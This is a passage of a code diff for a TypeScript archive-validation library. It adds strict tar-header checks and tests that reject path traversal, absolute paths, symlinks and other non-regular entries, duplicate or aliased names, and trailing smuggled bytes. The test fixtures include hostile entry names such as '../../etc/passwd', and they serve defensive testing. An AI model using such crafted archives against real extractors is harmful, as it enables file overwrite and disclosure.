test("decompressor 'too-large' refusal is structured", async () => { + const { outerBytes } = buildLegacyArchive(validResolved) + const result = await validateFacetArchive(outerBytes, { gunzip: tooLargeGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'decompression') expect.unreachable() + expect(result.failure.reason).toBe('too-large') + }) - test('a backslash path in the build manifest is rejected', async () => { - const facetJson = JSON.stringify( - { - name: 'test-facet', - version: '1.0.0', - skills: { 'code-review': { description: 'Review code' } }, - }, - null, - 2, - ) - const entries = [ - { path: FACET_MANIFEST_FILE, content: facetJson }, - { path: 'skills/code-review/SKILL.md', content: '# Code Review\n\nReview the diff.' }, - { path: 'foo\\bar', content: 'windows-style path' }, - ] - entries.sort((a, b) => (a.path < b.path ? -1 : 1)) - const assetHashes = computeAssetHashes(entries) - const innerTar = assembleTar(entries) - const integrity = computeContentHash(innerTar) - const innerGz = gz(innerTar) - const buildManifestJson = JSON.stringify( - { facetVersion: 0.1, archive: INNER_ARCHIVE_NAME, integrity, assets: assetHashes }, - null, - 2, - ) - const outerBytes = assembleOuterTar(buildManifestJson, innerGz) - - const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - - if (result.ok) expect.unreachable() - expect(result.errors.some((e) => e.path === 'foo\\bar')).toBe(true) - expect(result.errors.some((e) => e.message.includes('path safety'))).toBe(true) + test("decompressor 'corrupt' refusal is structured", async () => { + const { outerBytes } = buildLegacyArchive(validResolved) + const result = await validateFacetArchive(outerBytes, { gunzip: corruptGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'decompression') expect.unreachable() + expect(result.failure.reason).toBe('corrupt') + }) + + test('a tampered inner archive is an integrity failure with expected and observed hashes', async () => { + const validEntries = collectArchiveEntries(validResolved, JSON.stringify({ name: 'test-facet', version: '1.0.0' })) + const validInnerTar = assembleTar(validEntries) + const tamperedEntries = validEntries.map((e) => + e.path === 'skills/code-review/SKILL.md' ? { ...e, content: '# TAMPERED' } : e, + ) + const tamperedInnerTar = assembleTar(tamperedEntries) + const buildManifestJson = JSON.stringify({ + facetVersion: 0.1, + archive: INNER_ARCHIVE_NAME, + integrity: computeContentHash(validInnerTar), + assets: computeAssetHashes(validEntries), }) + const splicedOuter = assembleOuterTar(buildManifestJson, gz(tamperedInnerTar)) + + const result = await validateFacetArchive(splicedOuter, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + if (result.failure.code !== 'integrity') expect.unreachable() + expect(result.failure.failure.check).toBe('C') + expect(result.failure.failure.expected).toBe(computeContentHash(validInnerTar)) + expect(result.failure.failure.observed).toBe(computeContentHash(tamperedInnerTar)) + }) +}) + +describe('validateFacetArchive — raw inner-tar header attacks', () => { + /** Wrap raw inner entries into a legacy archive whose integrity matches. */ + function wrapRawEntries(entries: RawTarEntrySpec[], assets: Record): Uint8Array { + const innerTar = buildRawTar(entries) + return wrapRawInnerLegacy(innerTar, assets) + } + + test('duplicate inner paths are rejected before any entry wins', async () => { + const outer = wrapRawEntries( + [ + { name: 'facet.json', content: '{}' }, + { name: 'facet.json', content: '{"other": true}' }, + ], + { 'facet.json': computeContentHash('{}') }, + ) + const result = await validateFacetArchive(outer, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.message.includes('two entries named'))).toBe(true) + }) + + test('portable alias inner paths are rejected, identifying both spellings', async () => { + const outer = wrapRawEntries( + [ + { name: 'facet.json', content: '{}' }, + { name: 'README.md', content: 'a' }, + { name: 'readme.md', content: 'b' }, + ], + { 'facet.json': computeContentHash('{}') }, + ) + const result = await validateFacetArchive(outer, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.message.includes('README.md') && e.message.includes('readme.md'))).toBe( + true, + ) }) - describe('contract invariants', () => { - test('never throws on any failure mode', async () => { - // Combine multiple failure-triggering inputs and assert no throw. - const inputs: Array<{ bytes: Uint8Array; gunzip: GunzipFn }> = [ - { bytes: new Uint8Array([0x00]), gunzip: okGunzip }, // malformed outer - { bytes: buildFixtureArchive(validResolved).outerBytes, gunzip: tooLargeGunzip }, - { bytes: buildFixtureArchive(validResolved).outerBytes, gunzip: corruptGunzip }, - ] - for (const { bytes, gunzip } of inputs) { - // Just await; if it throws, the test fails. - await validateFacetArchive(bytes, { gunzip }) - } - // If we got here, nothing threw. - expect(true).toBe(true) + test.each([ + ['1', 'hard link'], + ['2', 'symbolic link'], + ['5', 'directory'], + ['3', 'character device'], + ['6', 'FIFO'], + ['x', 'PAX extended header'], + ['L', 'GNU long file name'], + ])('a non-regular inner entry (typeflag %s) is rejected as %s', async (typeflag, label) => { + const outer = wrapRawEntries( + [ + { name: 'facet.json', content: '{}' }, + { name: 'evil', typeflag }, + ], + { 'facet.json': computeContentHash('{}') }, + ) + const result = await validateFacetArchive(outer, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.message.includes(label))).toBe(true) + }) + + test('a traversal entry name is rejected, not sanitized', async () => { + const outer = wrapRawEntries( + [ + { name: 'facet.json', content: '{}' }, + { name: '../../etc/passwd', content: 'root' }, + ], + { 'facet.json': computeContentHash('{}') }, + ) + const result = await validateFacetArchive(outer, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.message.includes('rejected, never sanitized'))).toBe(true) + }) + + test('an absolute entry name is rejected', async () => { + const outer = wrapRawEntries( + [ + { name: 'facet.json', content: '{}' }, + { name: '/etc/passwd', content: 'root' }, + ], + { 'facet.json': computeContentHash('{}') }, + ) + const result = await validateFacetArchive(outer, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + expect(result.failure.code).toBe('validation') + }) + + test('a ustar prefix field is rejected', async () => { + const outer = wrapRawEntries( + [ + { name: 'facet.json', content: '{}' }, + { name: 'SKILL.md', content: '# x', prefix: 'skills/review' }, + ], + { 'facet.json': computeContentHash('{}') }, + ) + const result = await validateFacetArchive(outer, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.message.includes('prefix'))).toBe(true) + }) + + test('non-zero bytes after the end-of-archive marker are rejected', async () => { + const innerTar = buildRawTar([{ name: 'facet.json', content: '{}' }], { + trailing: new TextEncoder().encode('smuggled bytes hidden after the terminator'), }) + const outer = wrapRawInnerLegacy(innerTar, { 'facet.json': computeContentHash('{}') }) + const result = await validateFacetArchive(outer, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.message.includes('end-of-archive marker'))).toBe(true) + }) +}) + +describe('validateFacetArchive — immutable fixtures', () => { + test('the checked-in valid 0.1 fixture verifies', async () => { + const bytes = new Uint8Array(await Bun.file(join(import.meta.dir, 'fixtures/valid-0.1.facet')).arrayBuffer()) + const result = await validateFacetArchive(bytes, { gunzip: okGunzip }) + if (!result.ok) expect.unreachable() + expect(result.data.archiveVersion).toBe(0.1) + expect(result.data.facetManifest.name).toBe('fixture-legacy') + }) + + test('the checked-in valid 0.2 fixture verifies with classified entries', async () => { + const bytes = new Uint8Array(await Bun.file(join(import.meta.dir, 'fixtures/valid-0.2.facet')).arrayBuffer()) + const result = await validateFacetArchive(bytes, { gunzip: okGunzip }) + if (!result.ok) expect.unreachable() + if (result.data.archiveVersion !== 0.2) expect.unreachable() + expect(result.data.facetManifest.name).toBe('fixture-current') + const kinds = new Map(result.data.entries.map((e) => [e.path, e.kind])) + expect(kinds.get('skills/review/references/api.md')).toBe('skill-companion') + expect(kinds.get('README.md')).toBe('archive-only') + expect(kinds.get('LICENSE')).toBe('archive-only') + expect(kinds.get('agents/helper.md')).toBe('primary-asset') + }) +}) + +describe('validateFacetArchive — contract invariants', () => { + test('never throws on any failure mode', async () => { + const inputs: Array<{ bytes: Uint8Array; gunzip: GunzipFn }> = [ + { bytes: new Uint8Array([0x00]), gunzip: okGunzip }, + { bytes: buildLegacyArchive(validResolved).outerBytes, gunzip: tooLargeGunzip }, + { bytes: buildLegacyArchive(validResolved).outerBytes, gunzip: corruptGunzip }, + { bytes: buildCurrentArchive(CURRENT_INNER).outerBytes, gunzip: okGunzip }, + ] + for (const { bytes, gunzip } of inputs) { + await validateFacetArchive(bytes, { gunzip }) + } + expect(true).toBe(true) }) }) diff --git a/packages/protocol/src/build/archive-plan.ts b/packages/protocol/src/build/archive-plan.ts index ea150ddc..884b1522 100644 --- a/packages/protocol/src/build/archive-plan.ts +++ b/packages/protocol/src/build/archive-plan.ts @@ -213,8 +213,13 @@ export function validateSupplementaryPath(declared: string, declarationSite: str return errors } -/** Segment-wise collision key: canonical Unicode form + portable case fold. */ -function collisionKey(path: string): string { +/** + * Portable collision key: canonical Unicode form (NFC) + case fold. Two + * paths with the same key collide on at least one supported filesystem. + * Shared by archive planning and raw tar-header validation so both layers + * agree on what "the same path" means. + */ +export function portableCollisionKey(path: string): string { return path.normalize('NFC').toLowerCase() } @@ -339,7 +344,7 @@ export function planArchiveEntries(manifest: ArchivePlanInput): ArchivePlanResul const byKey = new Map() const accepted: PlannedPath[] = [] for (const candidate of planned) { - const key = collisionKey(candidate.entry.path) + const key = portableCollisionKey(candidate.entry.path) const existing = byKey.get(key) if (!existing) { byKey.set(key, candidate) @@ -376,11 +381,11 @@ export function planArchiveEntries(manifest: ArchivePlanInput): ArchivePlanResul for (const candidate of accepted) { const segments = candidate.entry.path.split('/') for (let i = 1; i < segments.length; i++) { - directoryKeys.set(collisionKey(segments.slice(0, i).join('/')), candidate) + directoryKeys.set(portableCollisionKey(segments.slice(0, i).join('/')), candidate) } } for (const candidate of accepted) { - const conflict = directoryKeys.get(collisionKey(candidate.entry.path)) + const conflict = directoryKeys.get(portableCollisionKey(candidate.entry.path)) if (conflict) { errors.push( planError( diff --git a/packages/protocol/src/build/content-hash.ts b/packages/protocol/src/build/content-hash.ts index 4a21d1e5..774afbeb 100644 --- a/packages/protocol/src/build/content-hash.ts +++ b/packages/protocol/src/build/content-hash.ts @@ -1,15 +1,14 @@ import { createHash } from 'node:crypto' import type { ValidationError } from '@agent-facets/common' -import { type } from 'arktype' import { createTar, parseTar, type TarFileInput, type TarFileItem } from 'nanotar' -import { FACET_MANIFEST_FILE, type ResolvedFacetManifest } from '../loaders/facet.ts' -import { mapArkErrors, parseJson } from '../loaders/validate.ts' import { - BUILD_MANIFEST_NAME, - type BuildManifest, - BuildManifestSchema, - INNER_ARCHIVE_NAME, -} from '../schemas/build-manifest.ts' + type BuildManifestParseFailure, + type ParsedBuildManifest, + parseBuildManifestDocument, +} from '../loaders/build-manifest.ts' +import { FACET_MANIFEST_FILE, type ResolvedFacetManifest } from '../loaders/facet.ts' +import { BUILD_MANIFEST_NAME, INNER_ARCHIVE_NAME } from '../schemas/build-manifest.ts' +import { validateRawTarEntries } from './tar-headers.ts' // Outer-tar layout constants are defined beside the build-manifest schemas // (which pin them) and re-exported here for assembly/parsing consumers. @@ -17,7 +16,12 @@ export { BUILD_MANIFEST_NAME, INNER_ARCHIVE_NAME } export interface ArchiveEntry { path: string - content: string + /** + * Entry payload. Primary text assets are strings; supplementary files are + * opaque bytes written verbatim (design D6 — binary and empty permitted). + * Hashing and tar assembly accept both. + */ + content: string | Uint8Array } /** @@ -131,113 +135,114 @@ export function assembleOuterTar(manifestJson: string, innerArchiveBytes: Uint8A return createTar(files, { attrs: DETERMINISTIC_ATTRS }) } +/** + * Structured failure data for outer-container parsing. Either the container + * itself is malformed (`container`: raw-header violations, wrong entry set, + * unparseable tar) or the embedded `build-manifest.json` failed versioned + * parsing (all `BuildManifestParseFailure` variants pass through, including + * the structured `unsupported-facet-version`). + */ +export type FacetArchiveParseFailure = { code: 'container'; errors: ValidationError[] } | BuildManifestParseFailure + +export type ParseFacetArchiveResult = + | { ok: true; data: { manifest: ParsedBuildManifest; innerArchiveBytes: Uint8Array } } + | { ok: false; failure: FacetArchiveParseFailure } + /** * Reads the bytes of a `.facet` outer-tar archive and returns the embedded - * build manifest plus the compressed inner archive bytes. Pure — no disk I/O. - * - * Consumers (e.g., a registry receiving uploaded archives) call this to - * inspect or verify an artifact without writing it to disk first. + * build manifest (version-tagged) plus the compressed inner archive bytes. + * Pure — no disk I/O. * - * Failure modes are part of the contract — the function never throws. - * It returns `{ ok: false, errors }` when the input is malformed: - * - the outer tar bytes are not parseable as a tar archive - * (truncated, header size field out of range, etc.) - * - `build-manifest.json` entry is missing from the outer tar - * - `archive.tar.gz` entry is missing from the outer tar - * - the manifest entry is not valid JSON - * - the manifest JSON does not satisfy `BuildManifestSchema` - * - * Errors are reported as `ValidationError[]` rooted at - * `'build-manifest.json'` (or `'archive.tar.gz'` for the structural - * inner-archive failure, or `''` for outer-tar parse failures), - * so callers can disambiguate the failure source without parsing - * message strings. + * The outer container is validated STRICTLY before either entry is + * selected (design D5): raw tar headers are checked for duplicate paths, + * portable aliases, non-regular entries, and non-canonical names, and the + * entry set must be exactly `{build-manifest.json, archive.tar.gz}` — so + * parser collapse can never decide which entry is authoritative. The build + * manifest is then parsed with exact `facetVersion` dispatch + * (`parseBuildManifestDocument`): duplicate JSON members are rejected + * before schema validation and unsupported versions return structured + * failure data. The function never throws. * * To verify integrity on success, decompress the returned * `result.data.innerArchiveBytes` (e.g. via `node:zlib.gunzipSync`) and * pass the resulting tar bytes to `computeContentHash` — the result MUST - * equal `result.data.buildManifest.integrity`. + * equal the parsed manifest's `integrity`. */ -export function parseFacetArchive( - bytes: Uint8Array, -): - | { ok: true; data: { buildManifest: BuildManifest; innerArchiveBytes: Uint8Array } } - | { ok: false; errors: ValidationError[] } { - let entries: TarFileItem[] - try { - entries = parseTar(bytes) - } catch (e) { - // `nanotar.parseTar` throws on malformed inputs (e.g. a truncated upload - // whose header `size` field points past the end of the buffer surfaces - // as `RangeError: Length out of range of buffer`). The contract above - // promises this function never throws — translate to the documented - // typed failure shape rooted at the synthetic `''` path. - const message = e instanceof Error ? e.message : String(e) - return { - ok: false, - errors: [ - { - path: '', - message: `Facet archive is not a valid tar file: ${message}`, - expected: 'parseable tar archive', - actual: 'malformed tar bytes', - }, - ], - } - } - let manifestEntry: TarFileItem | undefined - let innerEntry: TarFileItem | undefined - for (const entry of entries) { - if (entry.name === BUILD_MANIFEST_NAME) manifestEntry = entry - else if (entry.name === INNER_ARCHIVE_NAME) innerEntry = entry +export function parseFacetArchive(bytes: Uint8Array): ParseFacetArchiveResult { + // Raw-header validation before any selection: duplicates, aliases, + // non-regular entries, and non-canonical names are rejected while the + // full raw entry list still exists. + const rawResult = validateRawTarEntries(bytes, '') + if (!rawResult.ok) { + return { ok: false, failure: { code: 'container', errors: rawResult.errors } } } - if (!manifestEntry?.data) { - return { - ok: false, - errors: [ - { - path: BUILD_MANIFEST_NAME, - message: `Facet archive is missing required entry: ${BUILD_MANIFEST_NAME}`, - expected: 'present in archive', - actual: 'missing', - }, - ], + + // The canonical outer container holds exactly the two required entries. + const observed = rawResult.entries.map((e) => e.path) + const required = [BUILD_MANIFEST_NAME, INNER_ARCHIVE_NAME] + const setErrors: ValidationError[] = [] + for (const name of required) { + if (!observed.includes(name)) { + setErrors.push({ + path: name, + message: `Facet archive is missing required entry: ${name}`, + expected: 'present in archive', + actual: 'missing', + }) } } - if (!innerEntry?.data) { - return { - ok: false, - errors: [ - { - path: INNER_ARCHIVE_NAME, - message: `Facet archive is missing required entry: ${INNER_ARCHIVE_NAME}`, - expected: 'present in archive', - actual: 'missing', - }, - ], + for (const name of observed) { + if (!required.includes(name)) { + setErrors.push({ + path: name, + message: `Facet archive contains an unexpected outer entry: ${name}. The outer container holds exactly ${BUILD_MANIFEST_NAME} and ${INNER_ARCHIVE_NAME}.`, + expected: `only ${BUILD_MANIFEST_NAME} and ${INNER_ARCHIVE_NAME}`, + actual: 'unexpected entry', + }) } } - const manifestText = new TextDecoder().decode(manifestEntry.data) - const jsonResult = parseJson(manifestText) - if (!jsonResult.ok) { - return { - ok: false, - errors: jsonResult.errors.map((e) => ({ ...e, path: BUILD_MANIFEST_NAME })), - } + if (setErrors.length > 0) { + return { ok: false, failure: { code: 'container', errors: setErrors } } } - const validated = BuildManifestSchema(jsonResult.data) - if (validated instanceof type.errors) { + + let entries: TarFileItem[] + try { + entries = parseTar(bytes) + } catch (e) { + // Raw-header validation makes this near-unreachable, but nanotar's + // throw-on-malformed contract is not ours — translate defensively. + const message = e instanceof Error ? e.message : String(e) return { ok: false, - errors: mapArkErrors(validated).map((e) => ({ - ...e, - path: e.path ? `${BUILD_MANIFEST_NAME}.${e.path}` : BUILD_MANIFEST_NAME, - })), + failure: { + code: 'container', + errors: [ + { + path: '', + message: `Facet archive is not a valid tar file: ${message}`, + expected: 'parseable tar archive', + actual: 'malformed tar bytes', + }, + ], + }, } } + + // Raw validation guarantees uniqueness, so first match is the only match. + const manifestEntry = entries.find((entry) => entry.name === BUILD_MANIFEST_NAME) + const innerEntry = entries.find((entry) => entry.name === INNER_ARCHIVE_NAME) + const manifestBytes = manifestEntry?.data ? new Uint8Array(manifestEntry.data) : new Uint8Array(0) + const innerBytes = innerEntry?.data ? new Uint8Array(innerEntry.data) : new Uint8Array(0) + + const manifestText = new TextDecoder().decode(manifestBytes) + const manifestResult = parseBuildManifestDocument(manifestText) + if (!manifestResult.ok) { + return { ok: false, failure: manifestResult.failure } + } + return { ok: true, - data: { buildManifest: validated, innerArchiveBytes: new Uint8Array(innerEntry.data) }, + data: { manifest: manifestResult.data, innerArchiveBytes: innerBytes }, } } diff --git a/packages/protocol/src/build/tar-headers.ts b/packages/protocol/src/build/tar-headers.ts new file mode 100644 index 00000000..190db5e1 --- /dev/null +++ b/packages/protocol/src/build/tar-headers.ts @@ -0,0 +1,402 @@ +import type { ValidationError } from '@agent-facets/common' +import { portableCollisionKey } from './archive-plan.ts' + +/** + * Strict raw tar-header validation (design D5). + * + * nanotar's `parseTar` is a *lenient* extractor: it sanitizes traversal + * paths instead of rejecting them, interprets PAX/GNU header entries that + * can rename the following entry, ignores the ustar `prefix` field, and + * stops parsing at the first zero block. All of that is fine for reading + * honest archives and disastrous at a trust boundary, where lenient + * parsing lets two implementations see different files in one byte + * sequence. + * + * This module walks the raw 512-byte header blocks itself — no data + * extraction, no sanitization, no header interpretation — and REJECTS + * anything a canonical facet tar (produced by `assembleTar` / + * `assembleOuterTar`) can never contain. After this validation accepts a + * buffer, nanotar's extraction is guaranteed to agree with the validated + * entry list, because every input that could make it disagree has been + * rejected. + * + * Applied to BOTH archive layers (the outer `.facet` container and the + * uncompressed inner tar) before any path-keyed selection. + */ + +/** Distinct failure classes for raw tar-header validation. */ +export type RawTarErrorCode = + /** Entry typeflag is not a regular file (symlink, hardlink, directory, device, FIFO, PAX/GNU header, unknown). */ + | 'tar-non-regular-entry' + /** The ustar `prefix` field is non-empty (canonical facet tars never split paths). */ + | 'tar-ustar-prefix' + /** The raw entry name is not already canonical (absolute, traversal, empty/`.` segment, backslash). */ + | 'tar-non-canonical-path' + /** Two entries share the exact same raw path. */ + | 'tar-duplicate-path' + /** Two entries collide by Unicode normalization or portable case folding. */ + | 'tar-alias-path' + /** Entries are not in canonical (ascending byte-wise) path order. */ + | 'tar-non-canonical-order' + /** Non-zero bytes appear after the end-of-archive marker. */ + | 'tar-trailing-data' + /** The buffer is truncated or a header is structurally malformed. */ + | 'tar-malformed' + +/** A structured raw-header failure with a machine-readable failure class. */ +export interface RawTarError extends ValidationError { + code: RawTarErrorCode +} + +/** One raw entry accepted by header validation. */ +export interface RawTarEntry { + /** The exact raw path bytes, decoded as UTF-8. Guaranteed canonical. */ + path: string +} + +export type RawTarValidationResult = { ok: true; entries: RawTarEntry[] } | { ok: false; errors: RawTarError[] } + +const BLOCK_SIZE = 512 +const NAME_OFFSET = 0 +const NAME_LENGTH = 100 +const CHECKSUM_OFFSET = 148 +const CHECKSUM_LENGTH = 8 +const SIZE_OFFSET = 124 +const SIZE_LENGTH = 12 +const TYPEFLAG_OFFSET = 156 +const PREFIX_OFFSET = 345 +const PREFIX_LENGTH = 155 + +/** Human-readable labels for known tar typeflags, for error messages. */ +const TYPEFLAG_LABELS: Record = { + '1': 'hard link', + '2': 'symbolic link', + '3': 'character device', + '4': 'block device', + '5': 'directory', + '6': 'FIFO', + '7': 'contiguous file', + x: 'PAX extended header', + g: 'PAX global header', + L: 'GNU long file name', + K: 'GNU long link name', + N: 'GNU old long file name', +} + +function isZeroBlock(bytes: Uint8Array, offset: number): boolean { + for (let i = offset; i < offset + BLOCK_SIZE; i++) { + if (bytes[i] !== 0) return false + } + return true +} + +/** + * Reads a NUL-terminated field, decoding the bytes as UTF-8 *fatally*: + * invalid byte sequences return `undefined` rather than being silently + * replaced with U+FFFD. A lenient decode would let a crafted header whose + * raw name is `files/\xff.bin` be accepted as `files/�.bin`, which the + * embedded manifest and the cache-recompute path would then treat as a + * different byte sequence than what was actually stored — a hash-divergence + * and path-smuggling vector. Rejecting non-round-trippable names closes it. + */ +function readFieldFatal(bytes: Uint8Array, offset: number, length: number): string | undefined { + let end = offset + const max = offset + length + while (end < max && bytes[end] !== 0) end++ + try { + return new TextDecoder('utf-8', { fatal: true }).decode(bytes.subarray(offset, end)) + } catch { + return undefined + } +} + +/** + * Verify the ustar header checksum for the 512-byte block at `offset`. + * + * The checksum is the unsigned sum of every header byte, with the 8-byte + * checksum field itself treated as ASCII spaces. It is the tar format's own + * structural integrity check; a header whose name/size/payload are intact but + * whose checksum was corrupted is malformed, and accepting it means a + * conforming tar consumer downstream may reject an archive this validator + * blessed. Canonical builders write the checksum as up-to-6 octal digits, a + * NUL, then a space; we accept any all-octal field value. + */ +function verifyChecksum(bytes: Uint8Array, offset: number): boolean { + const raw = readField(bytes, offset + CHECKSUM_OFFSET, CHECKSUM_LENGTH).trim() + if (raw === '' || !/^[0-7]+$/.test(raw)) return false + const stored = Number.parseInt(raw, 8) + let sum = 0 + for (let i = offset; i < offset + BLOCK_SIZE; i++) { + // The checksum field is summed as if filled with ASCII spaces (0x20). + if (i >= offset + CHECKSUM_OFFSET && i < offset + CHECKSUM_OFFSET + CHECKSUM_LENGTH) { + sum += 0x20 + } else { + sum += bytes[i] ?? 0 + } + } + return sum === stored +} + +/** Reads a NUL-terminated field as UTF-8. Returns undefined if it contains interior control bytes that make it undecodable as a path. */ +function readField(bytes: Uint8Array, offset: number, length: number): string { + let end = offset + const max = offset + length + while (end < max && bytes[end] !== 0) end++ + return new TextDecoder().decode(bytes.subarray(offset, end)) +} + +/** Parses the octal size field. Returns undefined for malformed or base-256 encodings. */ +function readOctalSize(bytes: Uint8Array, offset: number): number | undefined { + const first = bytes[offset] + if (first !== undefined && (first & 0x80) !== 0) { + // GNU base-256 size encoding — never produced by a canonical builder. + return undefined + } + const raw = readField(bytes, offset, SIZE_LENGTH).trim() + if (raw === '') return 0 + if (!/^[0-7]+$/.test(raw)) return undefined + return Number.parseInt(raw, 8) +} + +function rawError(code: RawTarErrorCode, path: string, message: string, expected: string, actual: string): RawTarError { + return { code, path, message, expected, actual } +} + +/** Validates one raw entry path as already canonical. Returns failure classes violated. */ +function validateRawPath(path: string): { code: RawTarErrorCode; reason: string } | undefined { + if (path === '') return { code: 'tar-non-canonical-path', reason: 'empty entry name' } + if (path.includes('\\')) return { code: 'tar-non-canonical-path', reason: 'contains a backslash' } + if (path.startsWith('/')) return { code: 'tar-non-canonical-path', reason: 'absolute path' } + if (/^[A-Za-z]:/.test(path)) return { code: 'tar-non-canonical-path', reason: 'drive-prefixed path' } + for (const segment of path.split('/')) { + if (segment === '') return { code: 'tar-non-canonical-path', reason: 'empty path segment' } + if (segment === '.') return { code: 'tar-non-canonical-path', reason: '"." path segment' } + if (segment === '..') return { code: 'tar-non-canonical-path', reason: '".." path segment' } + } + return undefined +} + +/** Options for {@link validateRawTarEntries}. */ +export interface RawTarValidationOptions { + /** + * When true, require entries to appear in canonical ascending byte-wise + * path order — the order the deterministic builder emits and the order + * `computeDirIntegrity` re-derives when it rebuilds the tar to recompute + * integrity. Enforced for the *inner* content tar so an out-of-order (but + * otherwise hash-correct) archive cannot pass verification yet fail + * installation when the recomputed tar hashes differently. NOT enforced + * for the outer container, whose two fixed entries + * (`build-manifest.json`, `archive.tar.gz`) are intentionally not in + * lexicographic order. + */ + readonly enforceCanonicalOrder?: boolean +} + +/** + * Walks the raw 512-byte tar headers of `tarBytes` and validates every + * entry before any lossy path-keyed structure is built. Returns the + * canonical entry list on success or structured failures identifying each + * violation. + * + * `layer` labels errors for callers (e.g. `''` for the outer + * container, `'archive.tar.gz'` for the inner tar). + */ +export function validateRawTarEntries( + tarBytes: Uint8Array, + layer: string, + options: RawTarValidationOptions = {}, +): RawTarValidationResult { + const errors: RawTarError[] = [] + const entries: RawTarEntry[] = [] + const byKey = new Map() + let previousPath: string | undefined + + let offset = 0 + while (true) { + if (offset === tarBytes.length) { + // Tar without an end-of-archive marker. nanotar tolerates this; a + // canonical builder always emits the marker, but the bytes are + // unambiguous, so accept. + break + } + if (offset + BLOCK_SIZE > tarBytes.length) { + errors.push( + rawError( + 'tar-malformed', + layer, + 'Tar data is truncated: a partial header block remains at the end of the buffer.', + 'complete 512-byte header blocks', + `${tarBytes.length - offset} trailing bytes`, + ), + ) + break + } + if (isZeroBlock(tarBytes, offset)) { + // End-of-archive marker. Everything after it must be zero padding — + // non-zero bytes here are covered by the content hash but invisible + // to parsers, a content-smuggling channel. + for (let i = offset + BLOCK_SIZE; i < tarBytes.length; i++) { + if (tarBytes[i] !== 0) { + errors.push( + rawError( + 'tar-trailing-data', + layer, + 'Non-zero bytes appear after the tar end-of-archive marker.', + 'only zero padding after the end-of-archive marker', + `non-zero byte at offset ${i}`, + ), + ) + break + } + } + break + } + + // Structural integrity: a corrupted header checksum means the block is + // malformed even if its name/size/payload look intact. Reject before + // interpreting any field, and stop scanning (offsets past a corrupt + // header cannot be trusted). + if (!verifyChecksum(tarBytes, offset)) { + errors.push( + rawError( + 'tar-malformed', + layer, + 'Tar header checksum is missing or does not match the header bytes.', + 'a valid ustar header checksum', + 'checksum mismatch', + ), + ) + break + } + + const typeflagByte = tarBytes[offset + TYPEFLAG_OFFSET] ?? 0 + const typeflag = typeflagByte === 0 ? '0' : String.fromCharCode(typeflagByte) + const name = readFieldFatal(tarBytes, offset + NAME_OFFSET, NAME_LENGTH) + const prefix = readFieldFatal(tarBytes, offset + PREFIX_OFFSET, PREFIX_LENGTH) + const size = readOctalSize(tarBytes, offset + SIZE_OFFSET) + + // A name (or prefix) that is not valid UTF-8 cannot round-trip losslessly: + // a lenient decoder would substitute U+FFFD, so the accepted path would + // differ from the raw bytes the archive actually stores. Reject it. + if (name === undefined || prefix === undefined) { + errors.push( + rawError( + 'tar-non-canonical-path', + layer, + 'Tar entry name or prefix contains bytes that are not valid UTF-8. Entry names must round-trip losslessly.', + 'UTF-8 entry names', + 'invalid UTF-8 bytes', + ), + ) + // Size may still be readable; but a non-decodable header is untrusted, + // so stop scanning rather than guess the next offset. + break + } + + if (size === undefined) { + errors.push( + rawError( + 'tar-malformed', + layer, + `Tar entry "${name}" has a malformed or non-octal size field.`, + 'octal size field', + 'malformed size', + ), + ) + // Cannot advance reliably past a malformed size; stop scanning. + break + } + + if (typeflag !== '0') { + const label = TYPEFLAG_LABELS[typeflag] ?? `unknown type flag "${typeflag}"` + errors.push( + rawError( + 'tar-non-regular-entry', + name || layer, + `Tar entry "${name}" is a ${label}, not a regular file. Facet archives contain regular files only.`, + 'regular file entries only', + label, + ), + ) + } + + if (prefix !== '') { + errors.push( + rawError( + 'tar-ustar-prefix', + name || layer, + `Tar entry "${name}" uses the ustar prefix field ("${prefix}"). Canonical facet tars never split paths across prefix and name.`, + 'empty ustar prefix field', + `prefix "${prefix}"`, + ), + ) + } + + const pathIssue = validateRawPath(name) + if (pathIssue) { + errors.push( + rawError( + pathIssue.code, + name || layer, + `Tar entry name "${name}" is not canonical: ${pathIssue.reason}. Entry names are rejected, never sanitized.`, + 'canonical relative entry names', + pathIssue.reason, + ), + ) + } else { + const key = portableCollisionKey(name) + const existing = byKey.get(key) + if (existing !== undefined) { + const exact = existing === name + errors.push( + rawError( + exact ? 'tar-duplicate-path' : 'tar-alias-path', + name, + exact + ? `Tar contains two entries named "${name}". Duplicate paths are rejected rather than letting parser collapse decide which entry wins.` + : `Tar entries "${name}" and "${existing}" collide by Unicode normalization or case folding on supported filesystems.`, + 'unique entry paths', + exact ? 'duplicate path' : `alias of "${existing}"`, + ), + ) + } else { + // Ordering is an independent finding: record it but STILL track the + // entry, so a later collision against this path is not masked by an + // ordering rejection. `previousPath` advances by observed order. + if (options.enforceCanonicalOrder && previousPath !== undefined && name < previousPath) { + errors.push( + rawError( + 'tar-non-canonical-order', + name, + `Tar entry "${name}" appears after "${previousPath}" but sorts before it. Entries must be in canonical ascending path order.`, + 'canonically ordered entries', + `"${name}" out of order after "${previousPath}"`, + ), + ) + } + byKey.set(key, name) + entries.push({ path: name }) + previousPath = name + } + } + + offset += BLOCK_SIZE + Math.ceil(size / BLOCK_SIZE) * BLOCK_SIZE + if (offset > tarBytes.length) { + errors.push( + rawError( + 'tar-malformed', + layer, + `Tar entry "${name}" declares a size that extends past the end of the buffer.`, + 'entry data within the buffer', + 'truncated entry data', + ), + ) + break + } + } + + if (errors.length > 0) { + return { ok: false, errors } + } + return { ok: true, entries } +} diff --git a/packages/protocol/src/index.ts b/packages/protocol/src/index.ts index 54e3bd94..ec2f1c1e 100644 --- a/packages/protocol/src/index.ts +++ b/packages/protocol/src/index.ts 